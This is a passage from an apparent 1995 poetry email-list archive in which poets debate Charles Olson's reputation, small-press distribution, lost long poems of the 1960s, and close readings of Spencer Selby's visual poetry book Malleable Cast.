attention.) No fault of anyone' s except we're dealing with a different mode of communication here on the net

(which is also new for many people) that has the potential to point people from all over the world in the direction of the ideas that you and several other poets have been working on for many, many years. You might not be aware of it, but you sit on a trove of information that remains relatively inaccessible to people entering the dialogue at this much later date. If we were to begin with your list, the base for an excellent resource would be solid. If we could continually update it, add to it, and revise our opinions of the contents of such a resource (via this list), something wonderfully organic and less resistant to definition might emerge. You can't make the omelet if you can't get your hands on the eggs.

--Kenny

↑ Index

192. Robert Kelly
Re: close readings
Tue 14 Mar 1995

---

a quiet emendation---Olson was a very shy man, and for all his loud palaver, would hardly have hovered over a bookseller. In the sixties when he was back in Gloucester, there was never a book of his to be seen in local shops (though here and there you'd see books of Ferrini and others), and his frequent letters to the Gloucester Times were on matters of public import other than poetry.

You're right in thinking MAX IV/V/VI did not have huge distribution, but it was around, and more available for a while than most books of poetry, so those who had any interest in such matters could and did find it. (As you'd find Content's Dream now, for instance.)

It is interesting to recall the late George Butterick's conscientious even desperate attempts to decipher certain later Olson scripts, where decipher really meant to enpage, let me use such a word. Those who heard Olson rread out loud know that the domain of the page and the domain of the voice seldom coincided, and were not, I think, meant to in any obvious illustrational way. The way of the page was the man's cry.

RK

↑ Index

193. B. Cass Clarke
Close readings
Tue 14 Mar 1995

Dear Jonathan,

Thank you for your courteous response. However, I was reacting to your easy use of Olson's mystique, promulgated mainly by folks who disliked, envied or otherwise had reason to misread and misrepresent Olson's person. The time is not too far off when his living memory will be dead and when those who knew him and know the distortions that are used to discredit him, are exhausted.

I'm certain that was not your intention, but you'll pardon my using the occasion to lament.

Truly,

Cass Clarke

B. Cass Clarke
[redacted]

↑ Index

194. Jonathan Brannen
Olson
Tue 14 Mar 1995

From jbrannen Tue Mar 14 02:18:17 1995
id AA20120; Tue, 14 Mar 1995 02:18:12 -0600
Date: Tue, 14 Mar 1995 02:18:12 -0600
From: Jonathan Brannen <jbrannen>
To: [redacted]
Subject: Re: Close readings
Cc: [redacted]
Status: RO

Dear Cass,

I certainly had not intended to misrepresent Olson's person. I view the image of Olson in this perhaps apocryphal bookstore with a degree of warmth because I've talked to enough trade managers in bookstores to understand that it can be awkward trying to get them to stock poetry. I relished the human element of the tale. And I confess to braking for bookstores in North Carolina on the chance it might be true.

I don't know what to say about my or anybody else's easy use of the Olson mystique. There's no denying that there is such a mystique, unfortunately images can never be accurate and with even the best intentions they distort the reality of the person. I don't wish to be perpetuating falsehoods when I mention Olson, but never having met Charles Olson, I have to take somebody's word for truth. The alternative is to refrain from mentioning him, and he's too important a figure not to be mentioned. I hate to use the term figure in

reference to anyone, but for me he can never be the complex human being that you interacted with.

If it's any comfort, Olson's detractors are fighting a losing battle. There's no doubt in my mind Olson's poetry will continue to be read. I'm sorry if you feel I've done him an injustice. I had not meant to. His work and literary reputation are both strong enough to withstand even the most spurious attack. Since he's one of the writers to whom I keep returning, I'd rather not be construed as contributing to such an attack or perceived as participating in it. I'll try to mend my wicked ways. How did you meet Charles Olson and what was your initial impression of him? I kind of excited to be "talking" with someone who knew Olson. Please excuse my gracelessness that brought it about.

Best regards,
Jonathan

↑ Index

195. H. T. KIRBY-SMITH
Jonathan Brannen's messages
Tue 14 Mar 1995

Dear Jonathan Brannen,

If you have not done so, I hope you will write up everything you know about the progress of small-press publishing from Jargon Press to the present, along with accounts of the personalities involved. As best I can tell all your own book publications are poetry.

Is Jonathan Williams still alive? I never met Olson, but Williams gave me a hard time about not arranging a poetry reading for him years ago--and then we got onto the more agreeable subject of the Appalachian Trail. I was in Black Mountain just the other day--stopped off while heading to Tennessee. There's a historical marker on old Route 70--no reference to any poets by name. If I got to the right place in the end, the campus is now occupied by the Western Division of the Department of Human Resources, including an Altzheimer's treatment center. Only postcards available in town were general views of the Black Mountains, except for one of the drugstore itself, Black Mountain Drugs, which is probably much like it may have been if Olson bought aspirin there.

Has anybody thought of a poetic guidebook? Walden Pond, City Lights, Jeffers's tower if it's there, the academic computing center at Buffalo...

Tom Kirby-Smith

↑ Index

196. Kenneth Goldsmith

You can't make an omelet if you can't get yr hands on the eggs

Tue 14 Mar 1995

James,

Thank you for your helpful comments. I would very much like your list of 300 titles and would like to use it as a jumping off point for a "matrix" or "galaxy" oriented resource. Of course, as I implied in my last post, ten seems like a ridiculous number for all the reasons you mention. But, if we can think non-hierarchically and in a horizontally spread manner concerning this project, it could prove to be a valuable resource for many people who haven't been in this dialogue for as long as you have. It seems like the contributors to this list are growing every day and I feel that an archive like the one we're discussing could be essential to laying a groundwork for those unfamiliar with much of the reading material (which is, unfamiliarity through poor access). Many books have fallen out of print and many people are so new to Language Poetry, that they don't even know that many of these titles have ever existed. Access to resources has been limited. I can't tell you how many authors and publishers in the scene complain to me that their books aren't known about due to poor distribution that in turn, creates a lack of interest. ItÕs really a shame. For example, access to your Segue list is limited. I live in the same city as you, I speak on the phone with you, and see you at readings, but it never crossed my mind that such a thing was in existence (I've never, quite honestly, until recently known what Segue is or how get at it. To this day, IÕve never seen the Segue catalogue of which you speak. I do, btw, consider myself a media-savvy New Yorker, and not much escapes my attention.) No fault of anyone's except we're dealing with a different mode of communication here on the net (which is also new for many people) that has the potential to point people from all over the world in the direction of the ideas that you and several other poets have been working on for many, many years. You might not be aware of it, but you sit on a trove of information that remains relatively inaccessible to people entering the dialogue at this much later date. If we were to begin with your list, the base for an excellent resource would be solid. If we could continually update it, add to it, and revise our opinions of the contents of such a resource (via this list), something wonderfully organic and less resistant to definition might emerge. You can't make the omelet if you can't get your hands on the eggs.

--Kenny

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197. Kenneth Goldsmith
bedside reading
Tue 14 Mar 1995

My favorite part of Vanity Fair is when they ask celebrities what they are reading before they go to bed. Imagine how much better it would be if we were able to hear what people were reading whose tastes and minds we actually respect?

Kenny

↑ Index

198. Jonathan Brannen
Re: Jonathan Brannen's messages
Tue 14 Mar 1995

The informal "history" of small press publishing is a long term interest of mine, but it's progress is too mercurial for me to do justice to. And I'm sure there are others on this list more knowledgible than I am. I'd love to hear some of the "war stories" that the various people who have been involved in literary publishing might have to share.

Having recently "made easy use of Olson's mystique" I'm hesitant to speculate about the existence and whereabouts of anyone. To the best of my knowledge, though, Jonathan Williams is alive, and my understanding is that he has taken up full-time residency in Great Britain, I believe in Devonshire, though I'm not certain. Perhaps someone reading this can provide you with a current address.

Best of all possible but progressively improbable worlds,
Jonathan

↑ Index

199. cris cheek
open and close books
Tue 14 Mar 1995

(longish post)

'It is not that we go into the past, live in the past, to find her, but that her print, her traces, are around us. Indeed, if one searches the past for her, the search will lead to fiery details, a stroke here and then an airy space, another stroke of what is now called fact, and then something obliterated, drowned, burned, lost. And then another stroke, until an entire structure of a life begins to rise, brilliant, with long reaches, venturesome, airy, full of risk, moving in a way that speaks to us in our century. She is a rebel who

appears to fail at every climax of her life. She can be seen to go deeper at these times.' (Rukeser 'The Traces of Thomas Hariot')

I've often referred to Muriel Rukeyser's terrific book 'The Traces of Thomas Hariot'. It seems to encapsulate some of the problems lurking in premature disussions about book objects, publishing formats, top tens and 'readings' / 'refluences' - intriguing though I've found recent posts on such subjects. It talks about the processes of 'history' of how what survives survives and how what is lost is sometimes that which is most valuable.

An ammended quote from a short, slack and unsatisfactory snippet written for the L=A=N=G=U=A=G=E issue of Open Letter locates part of my own feelings (hard to believe I could say that), some of which I retain, about the political economy of the cultural production and consumption of the book:

' "Perfection - Constancy - Consistency are terms applicable to a static state of affairs that this writer would wish to be considered outside of" (allen fisher 'A Sketch Map of Heat') The size of the page that work is made on, the page as a site, the texture of the paper to be printed on and its class pretentions towards promoting substantiable meanings, its color (if any), the choice of typography and more - all such active choices inform the work and such choices form part of what can be read. . . Words are actions, they are part of a physical process. . . to extract one element of this processual space and reproduce the same extraction, say in a re-print or anthology is to re-present rather than present. This is effect amounts to translation.'

Not that translation should be anything other than encouraged, but acknowledged, have its own process incorporated, be sensitized to the poet's choice of presentation as some recent posts have carefully, documented. Thanks for those.

Also consider the ambience of the reader's location - like Tenney's tale of reading Olson on the A Train or whatever - works written to interfuse with environment or encouraging expansion of consciousness.

Consider the likening of the potential of these e-spaces for re-integration of word and image - (yeah I know the arguments re- Caxton primacy of print out of economic and technological imperatives and the connections being made both positively and negatively regarding e-Medivalism (sic)).

Check out the work that John Cayley, and I hope others are (I just don't know you), making for this environment. And the somewhat stalled but clearly related, soon hopefully becoming more stimulating, discussions on hyper-text composition on ht-lit.

One thing that irks at present is the relative normalising influence of electronic presentations in spaces such as these. I printed out RIF/T when I clocked on here and found the layout (not the writing) dull (no disrespect to the editors who must be slightly frustrated in their ambition as yet) - with all the typographical possibilites available for DTP innovation we speak here in a 'normalised', formally relatively controlled and limited e-space. That's part of the problem with it's strained physicality (how comfy is your chair and does your screen periphereyes your vision?).

Consider the possible inter-relations between printed matter and e-publishing?

I haven't got far yet but am currently improvising, in short takes, from postings (including those on this list - issues of ownership anyone?) into a dictaphone which I also carry when out driving or walking and whatever. The materials are then written (by hand) in notebooks with keen attention given to emphasis and re-invented when necessary. These materials become typed onto word processing formats and transferred into DTP packages (I use Claris and Quark). I then print out and sometimes (not always) blu-tack the printed pages (large font size) up on a wall in a kind of grid which is then re-improvised from onto cassette and re-transcribed. I use choices from all stages of such a process to compose the 'poem'. Sometimes these texts go on to form elements of performance work. Some is printed - other versions are released on CD in spoken word or soundwork contexts - other versions might be appropriate for electronic presentation. The point is process and version. Somehow that leads back to the top of this post and 'The Traces of Thomas Hariot' re - issues of posterity and the market forces which exxxxcercise their imperatives onto choice and 'what remains' or 'residues' its presence.

(that's my quid's worth on personal working processes - well actually I'm thinking more in peso's now since a lot of my time over the past week's been taken up with followng the unravelling of events in Mexico re Chiapas after being alerted by Robert Harrison's extraordinary post 'A REAL Political Poet')

o when the sandwich has been cut
e and when the architect arrives
we will go boating you and i
upon the same

love
cris

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200. Bill Luoma
Re: close readings & . . .
Tue 14 Mar 1995

Notice how the disscussion of close reading has

led us to Blakean picture books and away from themes. We moderns are so easily led to privilege sight. Or, not wanting to be seen privileging anything, we claim that means of productions, physicality and sight are bonus themes and theme enhancers.

Spencer Selby's fine new book (thanks Spencer!), Malleable Cast--Generator, might be a good thing to discuss in this context, for it carries the moniker Art/Visual Poetry on the jacket. Everyone please buy this book, look at it, and have your close reading prepared for class next monday. The thesis statement must contain the following words: advertising, early modern, DPT, Charles Alexandrian, seepage, and icon template.

Bill Luoma

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201. B. Cass Clarke
Olson
Tue 14 Mar 1995

Dear Jonathan,

I knew Olson through the eyes of those who loved him. "The ailing Buffalo herd" he once called them, and in fact, I'm not convinced they ever recovered from the loss his death effected and so I was moved to remind you, as others have noted, that these matters are not simply "dead matter" to be used, Thucydides be damned, for the current economy.

Your post was not disgraceful nor did I intend to chastise you for your "wicked ways." It is a small matter to most - and in this forum folks are reaching for their delete keys.

I welcome continued conversation by private mail.

Cass Clarke

B. Cass Clarke
[redacted]

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202. Tony Green
Re: reading now
Tue 14 Mar 1995

In response to luigi-bob drake's request to mention what we're reading & enjoying now:

Inventories of Cassiano dal Pozzo's collection of pictures; back numbers of Burlington Magazine; Johanna Drucker's Theorizing Modernism; Stephen Davies's ms on Cage's 4'33"; Thierry de Duve's Au Nom de l'art --pour une archeologie de la modernite which includes a thorough search through contemporary methodologies for saying what "art" might be all in vain! and Art as a Proper Noun; T de D's Resonances du Ready-Made; Robert Kelly's The Loom (a bedside book, for re-reading) Lacan The seminar bks I and II; Alan Loney's recent poems (ms)

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

203. Loss Glazier
Re: Olson
Tue 14 Mar 1995

I, for one, has not been reaching for my "delete" key where conversations on Olson have been concerned. What may be said in public I would look for eagerly.
Thanks,
Loss Glazier

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204. RSILLIMA
Books
Tue 14 Mar 1995

Mistah Luoma,

Is that early modern or early modem?

I find that I have a strong ambivalence to Spencer's new book, which is an ambivalence I have to much (tho not all) "visual poetry." It pushes the line between "reading" and "looking" in a direction I'm not that comfortable with (I'd rather go in the opposite direction, start close reading adverts in the mags).

Spencer's "regular" poems are so terrific that I deeply want to "get" this work, but then feel pushed out again. It's a reaction I've had to other visual works by Bernstein, DiPalma and other poets who I'd easily count among my very favorite, so it's a reaction that puzzles me.

Two notable exceptions to this seem to me to be John Byrum (see the work in Writings from the New Coast) and (from same book!) by Mark Mendel (might be misspelling that name, sorry). Mendel's work seems to me very influenced by Jenny Holzer, but with a sense of ear and compression that I find lacking in her skewed aphorisms.

Both of these poets seems to take the visual to the written. Spencer's work in contrast seems to pose the idea that the visual is a mask for the written (or vice versa). The images appear "found" -- are the texts likewise?

I'd love for somebody to close read this work and wake up my eyes. I'm ready to learn!

Ron Silliman
[redacted]

↑ Index

205. Robert A Harrison
Call for work
Tue 14 Mar 1995

Call for work for

Visual Poetry Show

at Hermetic Gallery

in Milwaukee, WI

o

All submissions must be in 8 1/2 by 11 format, camera ready.

Contributors receive 1 copy of show catalog.

Send submissions and SASE to:

Bob Harrison & Nick Frank
PO Box 11166
Milwaukee, WI 53211

o

Deadline for submissions: May 15, 1995

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206. Robert A Harrison
Re> Re: Jonathan Brannen's messages
Tue 14 Mar 1995

Actually, I just spoke to Jonathon Williams several weeks ago concerning a Mina Loy Jargon Book. He is living in North Carolina.

Bob Harrison

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207. RSILLIMA
Lost Classics
Tue 14 Mar 1995

Rather than just list what I've been reading lately (which consists of relatively little beyond recent books in the mail, such as Spencer Selby's, Snow Crash by Neil Stephanson and Watten's Under Erasure [which I read and reread the way Libyans read Khadafi's Little Green Book], then massive numbers of Information Week, CIO, PC Week, Byte and the like for work), I've been mulling over, rereading a series of "Lost Classics" that I wish were still in print. I've gone so far as to think about trying to package a series for a publisher.

By and large, these are longpoems, mostly from the 1960s, that I think everybody should have and read because they're so wonderful:

A particular example of this genre would be Robert Kelly's Axon Dendron Tree (which, with Finding the Measure & 20 Songs will always be the key Kelly books for me because they arrived at just the right time to help me with my own development as a poet, so that I have that deep love for them that goes beyond articulation). Another is Ron Johnson's two Norton books, Book of the Green Man and Valley of the Many Colored Grasses. Another is Frank Stanford's battlefield where the moon said i love you (writing from the job, so may have botched that title some). That may still exist, tho would be hard to find, as would be the case I should think with Grenier's Sentences (a "Chinese box" of 500 4x6 cards, the sort of impossible project that extends Jonathon Brannen's insights sort of toward a limit), a collection that I think all 1,000 subscribers to the T-AMLIT list should read. Not to mention everybody here.

I think somebody could make the argument that the ideas in my own The Alphabet are a direct (if transformed) descendant of the conception of form implicit in Axon Dendron Tree and it still reads wonderfully today.

Anyhow, this after that's what seems powerful & moving and worth mentioning

Ron Silliman
[redacted]

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208. **RSILLIMA**
John Hoffman?
Tue 14 Mar 1995

I remember reading somewhere that at the very famous reading at the Six Club (where Howl debuted in 1955), McClure (I think) read not his own work but that of the recently deceased John Hoffman. Given how icon-ized every other participant of that even has become, I'm surprised that I've never read any of this poet's work. Does anyone know where one could find samples?

Ron Silliman
[redacted]

↑ Index

209. **peter quartermain**
Re: Olson
Tue 14 Mar 1995

In message Tue, 14 Mar 1995 17:24:11 -0500,
Loss Glazier <[redacted]> wrote:

> *I, for one, has not been reaching for my "delete" key where conversations on Olson have been concerned. What may be said in public I would look for eagerly.*

To which I add my own hearty agreement.
And take the chance to mention, for those who don't know it,
Ralph Maud's
Minutes of the Charles Olson Society
six or is it seven issues so far, all damn good stuff,
available for a nominal cost (say $10 or so?)
from 1104 Maple Street
Vancouver BC
Canada V6J 3R6.

Well worth getting.

Peter

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

↑ Index

210. Gary Sullivan
Re: Books (reply to Luoma & Silliman) {long!}
Wed 15 Mar 1995

Dear Ron & Bill, There's nothing (besides holding down a regular job) at which I'm more inept than explicating people's--especially friends'-- works, but you learn by trying, so here's a take on Spencer's _Malleable Cast_. I'm going to try to stay away from a "close reading" approach, which has more to do with my inability to articulate, specifically, what interests me about this work than whether or not such a "close reading" (or mis-reading) might prove valuable. Much of Spencer's non-visual poetry has (my take only) to do with what I'd call "depolarization"--working with opposites (ideas, images, etc.) in an effort to work through apparent dichotomies, but doing so not toward a resolution so much as maybe a (this is going to sound silly) "shimmering effect." If you like longpoems, Ron, check out Gerald Burns' _Letters to Obscure Men_; it ends with thirty-six 21-line sections, placed two on a page, the second on each page "restating" the first. It's Gerald's belief that the resulting "poem" on each page is not the two poems actually there, but that which resonates "between" them. It's an effect I've yet to actually experience there, though this, to some extent, does seem to describe what I "get" from much of Spencer's work. Spencer's impulses toward the visual (& toward/through apparent dichotomies) come, I think, from having been a movie fanatic at a fairly early age, especially of film noir. His interests resulted in at least one published book, _Dark City_, a study of the film noir, published by St. James Press (a reissue of an earlier edition, from McFarland & Company) in 1984. The photographs Spencer chose to include in _Dark City_ (I'm assuming Spencer chose them) look very much like the raw material "founds" of some of his visual pieces--though he avoids using film stills in his visual poetry. My own take is that film noir as a rule seems to be, generally, a visually rich genre, lots of accentuated (even bizarre) camera angles, much dark/light contrast--the result, I think, of there having been at the time in Hollywood a lot of emigrated German cinematographers who'd done earlier work on German expressionist movies. (Spencer could tell you whether

or not that's accurate.) Many of the "found" images in Spencer's work remind me very much of expressionist paintings & films, & I don't think that's an accident. Spencer's work isn't expressionistic, though it does use perhaps some of its elements. I said I wasn't going to "close read." Well, okay, so I'm a big fucking liar. Turn to the page in _Malleable Cast_ (no page numbers given) of the buckets on the stairwell, water flowing from the top bucket into the next on the next step down, overflowing & then into the next bucket down, overflowing there & down into the next. (Sort of looks like a Rube Goldberg detail, eh?) Now, read the words overlayed onto this image.

> I think that this ambivalence i
> found in art today. On the o
> sary to suspect that art's involv
> clean conscience to peo
> selves up [illeg.] erything else. O
> up and [illeg.] from the world
> warm [illeg.] here they doze o
> speration and [illeg.] that are sy
> their lives. As though art flew
> hard enough. But [illeg.] again
> iew that's present with [illeg.]
> nd possibility. We'd see artists
> bing what a truly creative life co
> nderstood as the making of an off
> hing as life understood as perm

Of course, when you look at this, the buckets dissuade reading, at least initially, the text from left to right: what happened with me was that, after recognizing the buckets on stairwell & water flowing down via buckets, my eye caught certain words & phrases on the page: "art today"; "conscience"; "the world"; "they doze"; "enough"; "possibility"; "life understood." (What anyone picks up looking initially will obviously differ from person to person.) The buckets on stairwell create a waterfall, a human-created waterfall, something we might even recognize (given the verbal clues) as "art." The image--given the Rube Goldbergesque impracticability of moving water this way--might also strike one as funny. (It struck me so.) Spencer seems to be playing here with ideas about art ("Making of an off/ [t]hing as life understood as perm[anent]"), and the ideas & visual resonances I found I was picking up "reading" this piece seem to be if not mutually exclusive opposites, certainly nothing tidily pat. The *idea* of the buckets struck me as funny, but the image itself was actually, on second glance, quite lovely--a tension's created between that specific "idea" and (one of) the visual effects. We aren't "allowed" to read the whole text, it having been cut on both ends, and illegible in spots where the buckets've been placed

over it. This gives a very "fluid" effect to the words on the page, certain words or phrases bob & rise as though afloat--again something reinforced for me by the image of water flowing down the page. Spencer has--at least in this visual poem--managed to (for this viewer) put everything into motion, despite the initial visual stasis of a block of words overlayed over a fairly static black & white line-drawing. Well, it's late & I'm out of cigarettes. I don't know if any of the above "explains" anything, or helps--but it's something, I guess. I'd like to hear what anyone else who's seen this book might have to say about it, or what Spencer might have to say about my "reading" of one of its pages. This type of book isn't for everyone, and even I think some of the pieces in it are more successful than others, but I do want to say that I've been picking it up at least once a day since I got it a week or so ago, & continue to be inspired by it.

Yours,

Gary

↑ Index

211. H. T. KIRBY-SMITH

Olson

Wed 15 Mar 1995

If Charles Olson really was a shy and gentle person, it is a shame that he is not alive to hire a lawyer, a public relations firm, and some radio time to rehabilitate his reputation.

Seriously, if there was a side of Olson that does not get into the books about Olson, then it had better be convincingly recorded before those who know that side have disappeared too.

To those not part of his flock he sounds pretty overbearing. It sounds as if Jonathon Williams (I now remember that's the right spelling, I think) is still alive--well, he struck me as an honest person and he knew Olson as well as anybody. Let J. W. speak!

↑ Index

212. Ron Silliman

Reading Selby

Wed 15 Mar 1995

Gary,

That's a terrific reading! And I didn't know that we had more than one Dark City author on this list either.

But I wonder how much of the concealment/revealment dynamics (a sizeable portion of your reading) don't actually reiterate themselves on every page in the book. What about the cole miners (on the cover and inside a few pages beyond the cascading buckets)? Or the blindfolded women? How do you read those pages differently? The horse playing a flute?

There seems to be a deliberate irony set up throughout between these consciously retro images (in the same way that rubber stamp works all use iconography from the 1930s to early 50s) and the often philosophic texts that underlay them. So that in the man with a drill, in the most legible portion of the page, one reads:

to the lack of
more social than the
overactivated by social
Rather, it was a dream
a violent form --
Communication.
ferentiated
opia

Elucidate further, please!

Ron

↑ Index

213. Pierre Joris
Re: Lost Classics
Wed 15 Mar 1995

Ron,

I couldn't agree with you more re RK's AXON DENDRON TREE (& most of the others on your lost classics list). A couple years back I thought I had convinced Pat & Marla Smith (NOTUS & OTHERWIND PRESS) to reprint AXON DENDRON TREE -- only to find out that RK had convinced them to do his new longish poem MONT BLANC, a lovely work, btw. There exists thus an electronic version of ADT, as Pat had set the poem -- & I have mentioned to Loss that this wld also be the kind of work eminently suited to the purposes of the Poetry Archive. I haven't had time to talk to RK (hello Robert) about it, but will, & have done so herewith as he is a reader of this list.

Except for Grenier's book, most all of your "lost classics" cld in fact be brought back into a electronic poetry archive, until some gutenbergian enthusiast is ready to reprint them. Or does that sound like some cyber-holding tank or some post-xtian limbo 'twixt pardiso of print & inferno of o.p.?

Pierre

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

↑ Index

214. **peter quartermain**

Re: Olson

Wed 15 Mar 1995

In message Wed, 15 Mar 1995 08:47:31 EST,
"H. T. KIRBY-SMITH" <[redacted]> wrote:

> *If Charles Olson really was a shy and gentle person, it is a shame that he is not alive to hire a lawyer, a public relations firm, and some radio time to rehabilitate his reputation.*
>
> *Seriously, if there was a side of Olson that does not get into the books about Olson, then it had better be convincingly recorded before those who know that side have disappeared too.*
>
> *To those not part of his flock he sounds pretty overbearing. It sounds as if Jonathon Williams (I now remember that's the right spelling, I think) is still alive--well, he struck me as an honest person and he knew Olson as well as anybody. Let J. W. speak!*

Jonathan Williams is indeed alive and well, and has indeed spoken on Olson on more than one occasion. The best is his brief 1976 memoir / portrait "Am--O" reprinted in his collection of essays _The Magpie's Bagpipe: Selected essays_ San Francisco: North Point, 1982, 6-12.

Peter Quartermain

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]

Canada V5V 1X2

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215. **eric pape**
Re: Books (reply to Luoma & Silliman) {long!}
Wed 15 Mar 1995

Great reading Gary. This is exactly the sort of thing we should be doing more of, at least to my relatively unschooled mind. One of the things I deeply regret about being in Baton Rouge is the near impossiblity of finding texts from any but the more big name small presses (Sun & Moon, etc.). Thus I'd like to ask to list in general if they know of a better way of ordering than to use the friendly neighborhook book store. What we need is some type of archive of presses, something like the poetry center's, but perhaps more comprehensive? Maybe even an electronic distribution center, like spd, but electronic? Something like you send by e-mail a list of books and they can get it backto you? Does something like that exist? I ask that because I'm very interested in Spencer's book, as well as others listed here, but am not looking forward to a several months wait while various distributors try to find each other, as has happened before to me in B.R. Anyway, again, thanks to Gary and Ron for the readings, Eric.

↑ Index

216. **Gary Sullivan**
Re: Olson
Wed 15 Mar 1995

Dear H.T. Kirby-Smith,

Actually, Jonathan Williams' first name is spelled just like Jonathan Brannen's: with two "a"s. He's still alive, and still sending out manuscripts (while temping at a nonprofit press here in MN a couple of months ago "we" received a collection of some of his "bawdy" verk). He might well write about Olson, though you couldn't force him, of course.

You COULD, however, "force" (or coerce) him to talk to YOU about Olson. Some of my favorite things to read are "oral histories," of people, places, "things." (For instance, Studs Terkel's _Work_, which I LOVE.) Maybe you might consider going to Williams w/tape recorder, getting him to talk about Olson. Then, moving on to others who knew him--document an "oral history" of the guy. It's probably something you could get published fairly easily. (Though doing it would be difficult, & require a lot of traveling.) You'd want to talk to Cid

Corman probably, who I think's in Japan, not doing terribly well financially, I've heard.

Here in MN there's an agency that funds nothing but travel expenses for various "critical/research" writings. Maybe there's such an agency in your area? Maybe worth looking into...

Yours,

Gary

↑ Index

217. James Sherry

Re: You can't make an omlet if you can't get your hands on the eggs

Wed 15 Mar 1995

I have been working to compile all the Segue catalogs together into one document and I think the project is nearly done. I am trying to get a copy of each book in the catalog into an archive which I am compiling and obviously that takes a bit longer. Meanwhile I will try to get an electronic copy or at least a paper copy to you and anyone who wants to see it. Please let me konw if you do. James

↑ Index

218. Michael Boughn

Re: Olson

Wed 15 Mar 1995

> *If Charles Olson really was a shy and gentle person, it is a shame that he is not alive to hire a lawyer, a public relations firm, and some radio time to rehabilitate his reputation.*
>
> *Seriously, if there was a side of Olson that does not get into the books about Olson, then it had better be convincingly recorded before those who know that side have disappeared too.*
>
> *To those not part of his flock he sounds pretty overbearing.*

Dear TH Kirby-Smith:

Yeah, that's a problem the dead have, especially when the living set out to sharpen their personal and poetical axes. If you are actually interested in this issue, there's two places to start. One is with Olson's poetry which, regardless of what anybody says about the man, speaks for itself. The second place would be Ralph Maude's newsletters, which Peter Quartermain mentioned in a recent post. Maude has taken it upon himself to deal with the hatchet job Tom Clark performed on Olson, through minute and careful examination of the record, especially as it is to be recovered in the documents. Come to think of it, there is

a third place: Charles Boer's marvelous essay, *Charles Olson in Connecticutt*. Your notion of "flocks" seems to reveal a certain prejudice on your part. If you're willing to move beyond that, you might be surprised what you find, not just about Olson, but about yourself.

Best,
Mike
[redacted]

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219. Marisa A Januzzi
"Lost classics," Jonathan Williams
Wed 15 Mar 1995

Greetings all--

Jonathan Williams's address (still, I think):
Box 110
Highlands, NC 28741

I didn't speak up earlier, but I am currently preparing a critical edition of Loy's poems. Its fate probably depends upon the demand (or lack of) for the forthcoming SELECTED by Roger Conover (from Farrar, Straus, Giroux); Conover doesn't want to "flood" the market, though I've got a zillion potential Loy projects on tap here. Would love to talk backchannel with anyone else interested in textual crit. or ML.

The recent discussion about the textuality of the physical book was fascinating-- has anyone seen MY MOTHER'S BOOK, by Joan Lyons? It's very moving constructed as a double-hinged folio-- a twin-spined hug built in paper, which suits the text just fine.

The discussions of close reading and textual aspects of book layout etc. dovetail nicely in my mind around the editing of Loy's work. I don't think it is "constraining" at all to consider "just" the text when so often editors misjudge the extent to which elements of textual presentation (down to use of ampersands, numbers of dashes, white space in medias line, and-- hardest of all to determine with Loy-- misspellings) are the "matter" of the work itself. Susan Howe's piece on Dickinson (in SULFUR and again in her book on American Lit) has been a big help. I think Loy was far more painterly and subversive than she "looks" in her last two poetry collections (Conover has come I think to agree)-- the SELECTED will reflect it.

Thanks for the fascinating ongoing conversation--

Marisa (currently reading Alcott's journals, Anne Porter's poems, Padgett's translations of Cendrars, and LAMB baaa)

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220. **Gary Sullivan**
Re: Reading Selby
Wed 15 Mar 1995

Long, long, long, this. (Forgive me, scrollers!) Eric Pape (& others interested in this and other Generator books), the address is at the end of the post.

Dear Ron, Hey, many thanks for the kind invite to say more about _Malleable Cast_. As to the concealment/revealment dynamics, I think you're right, that's a lot of what seems to be going on here. Whether or not that's going on each page, I don't know. The coal miner would be a great one to talk generally about since, as you note, it's not only one of the images in the body of the book, it's also the cover, suggesting a "visual title," maybe. When I think of "mine" I think immediately of Coolidge's _Mine: the one that enters the stories_, a lovely metaphor-- though an odd way to put it, as you'd think he'd've used the one "WHO" enters the stories, not "THAT" (which seems to imply "inhuman"). "Mine" is a hinge word I hear frequently among poets who, like myself & Spencer, create a certain amount of our work using (directly or otherwise) found material. "Mine" as a verb (how one gets the material), and what it becomes, having done that (the "mined" becomes "mine"). I also think of this as a somewhat "hack" phrase: one "hacks" when mining, but it's also, as I say, a word that gets used a lot, with as much frequency among poets I know as "finding your voice" gets used in workshops. It's become a cliche, or is fast becoming one. Before I bring J.G. Ballard into this (in a moment), here's one of three epigraphs Spencer uses to preface _Malleable Cast_:

> "Our Fire Stone should be prepared and matured, like
> our food and all other medicines, by the corporal fire
> which reigns in the little world. Where the solar fire
> of the great world leaves off, there our corporal fire
> begins a new generation."
> --Basilius Valentinus

Spencer has his own reasons for using that epigraph, but what I take from it ("mine" from it) is that sense of a "minor" literature (or art) that seems to be implied by "the little world." Note the distinction above between the fire of the "little world" and the "solar fire of the great world." &, where the latter leaves off, is where (so I'm understanding) a "minor" literature picks up. (Also note the homonymous nature of "minor" and "miner.") In J.G. Ballard's _Vermilion Sands_, a collection of some of his earliest published short stories there's a

fabulous (in every sense) story, "The Singing Sculptures," about "sonic" sculpture. A gallery owner sells one to a rich art collector, a large statue that "sings" by virtue of the fact that there's a tape-player in it playing pre-recorded music. The collector seems to "fall in love" with the statue, the gallery owner seems to "fall in love" with the collector. (Seems to because my memory of the story is only so-so.) The gallery owner records his own voice singing, apparently love songs, to the collector. The collector ultimately moves, and takes everything with her, including (so the gallery owner thinks) the singing statue. It turns out, she'd actually hacked it to bits; the gallery owner stumbles onto fragments of it, embedded in the soil, actually *growing* now, and *literally* singing (in the gallery owner's voice, & not by virtue of tape recorder). I've always loved this story (my memory of it) as a kind of fluid metaphor for (a) the process of making art, & specifically art from "found" material, and (b) its seeming preferential attitude toward "minor" works of art. The collector couldn't bear being with the statue (the "major" artwork here) anymore, she was "so" "in love" with it, & so hacked it to bits & moved on. The singing sculpture, seductive as it was, was also (note, by virtue of the tape recorder) a sham. It's not until it's been hacked to pieces that it, genuinely, sings (if still in the voice of the gallery owner). (Note that the resulting singing "roots" were the result of a *collaboration*, which is what art created using found material is, even if the other collaborators aren't "present" during the final process.) Sentimental? Yes, 